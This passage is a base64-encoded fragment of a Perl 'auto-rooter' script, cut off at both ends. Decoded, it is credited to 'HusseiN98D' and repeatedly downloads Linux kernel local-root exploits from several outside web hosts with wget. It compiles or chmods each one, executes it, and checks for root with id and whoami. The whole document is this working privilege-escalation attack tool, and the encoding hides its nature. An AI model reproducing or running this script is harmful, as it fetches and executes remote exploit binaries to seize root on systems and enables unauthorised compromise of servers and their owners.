G4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgejFkLTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsNCnN5c3RlbSgiLi8xLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEtNCIpOw0Kc3lzdGVtKCIuLzEtNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEwIik7DQpzeXN0ZW0oIi4vMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTIiKTsNCnN5c3RlbSgiLi8xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7DQpzeXN0ZW0oIi4vMTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNTE1MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTUxNTAiKTsNCnN5c3RlbSgiLi8xNTE1MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTUyMDAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE1MjAwIik7DQpzeXN0ZW0oIi4vMTUyMDAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNiIpOw0Kc3lzdGVtKCIuLzE2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNi0xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNi0xIik7DQpzeXN0ZW0oIi4vMTYtMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4Iik7DQpzeXN0ZW0oIi4vMTgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4LTUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4LTUiKTsNCnN5c3RlbSgiLi8xOC01Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyIik7DQpzeXN0ZW0oIi4vMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi0xIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTEiKTsNCnN5c3RlbSgiLi8yLTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDUiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA2Iik7DQpzeXN0ZW0oIi4vMi02LTktMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi40LjIxLTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjQuMzYuOTIuNi4yNy41IC0gMjAwOCBMb2NhbCByb290Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjQuMzYuOTIuNi4yNy41IC0gMjAwOCBMb2NhbCByb290Iik7DQpzeXN0ZW0oIi4vMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yLWhvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMCIpOw0Kc3lzdGVtKCIuLzIuNi4yMCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMC0yIik7DQpzeXN0ZW0oIi4vMi42LjIwLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCg0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjItMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiLi8yLjYuMjItMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMi02LTg2XzY0LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiLi8yLjYuMjMtMi42LjI0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI0Iik7DQpzeXN0ZW0oIi4vMi42LjI0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yNy43LWdlbmVyaSIpOw0Kc3lzdGVtKCIuLzIuNi4yNy43LWdlbmVyaSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItNDYuMS5CSHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjYtMzQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42LTM0Iik7DQpzeXN0ZW0oIi4vMi42LjYtMzQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNl9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjdfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi44LTIwMDguOS02Ny0yMDA4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi44LTIwMDguOS02Ny0yMDA4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjhfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOSIpOw0Kc3lzdGVtKCIuLzIuNi45Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA0Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi45LTIwMDgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTM0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOw0Kc3lzdGVtKCIuLzIuNi45LTM0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgiY2htb2